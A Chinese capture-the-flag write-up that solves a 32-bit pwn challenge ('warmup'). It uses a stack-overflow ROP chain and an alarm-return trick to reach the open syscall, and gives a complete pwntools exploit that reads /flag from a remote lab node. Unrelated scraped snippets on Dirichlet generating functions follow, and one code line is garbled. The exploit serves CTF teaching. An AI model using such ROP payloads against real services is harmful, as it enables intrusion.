又是乙個小技巧!
例行檢查我就不放了
這道題沒有got表,所有的函式實現都是由系統呼叫的方式去實現的,
看到題目的第一時間就想到了通過open read write的方式去獲得flag
但是題目環境中確少了open這個函式
這裡就不得不提alarm函式的妙用了
當第一次呼叫alarm函式的時候,會進行時間判斷,然後再呼叫alarm函式後會停止,然後把剩餘的引數返回到rax中
也就是說題目中alarm是10秒,我們等過了五秒後在呼叫alarm函式後,就能讓rax為5
從而可以去實現open函式
(21條訊息) linux32位系統呼叫號——奇偶排列**方便查詢_hollk』s blog-csdn部落格
不是特別熟悉系統呼叫號的師傅,推薦hollk師傅的部落格
那麼完整exp如下:
from pwn import *結束!#p = process('./warmup')
p = remote('node4.buuoj.cn',26779)
alarm = 0x0804810d
read = 0x0804811d
addr = 0x080491bc
func = 0x0804815a
write = 0x08048135
mov_int80 = 0x08048122
#write flag
p.recvuntil('2016!')
payload = cyclic(0x20)+p32(read)+p32(func)
payload += p32(0)+p32(addr)+p32(0x8)
p.send(payload)
p.send(b'/flag'.ljust(0x8,b'\x00'))
#open flag
p.recvuntil("!")
sleep(5)
payload1 = cyclic(0x20)+p32(alarm)+p32(mov_int80)
payload1 += p32(func)+p32(addr)+p32(0)
p.send(payload1)
#read flag
p.recvuntil("!")
payload2 = cyclic(0x20)+p32(read)+p32(func)
payload2 += p32(3)+p32(addr)+p32(0x50)
p.send(payload2)
#write flag
p.recvuntil("!")
payload3 = cyclic(0x20)+p32(write)+p32(func)
payload3 += p32(1)+p32(addr)+p32(0x50)
p.send(payload3)
p.interactive()
狄利克雷生成函式
本篇討論的所有函式都是積性函式。若 f 為 dgf,則 f left s right 簡寫作 f 定義對於乙個數論函式,設在 i 處的點值為 f i 則定義它的狄利克雷生成函式 dgf dirichlet generating function 為 f left s right sum limits...
迪利克雷生成函式
對於數列 定義 f 的 dirichlet 生成函式 rm dgf 為 f z sum frac 不難發現 f cdot g z 為 f cdot g z sum fracf dg 對於 dirichlet 卷積意義下的單位元 epsilon 其 dgf 為 epsilon z 1 同時,我們定義的...
數論函式 狄利克雷卷積
開坑卷積 這裡說一下莫比烏斯函式的定義 定義兩個函式 f n g n 的狄利克雷卷積 為 f g n d nf d g nd 滿足交換律,結合律,分配律以及 f e f 都挺顯然的。這定義也是夠奇怪了,然後就可以搞很多事情 d n d n1 d 1 nd 1 1 n n d nid d 1 nd i...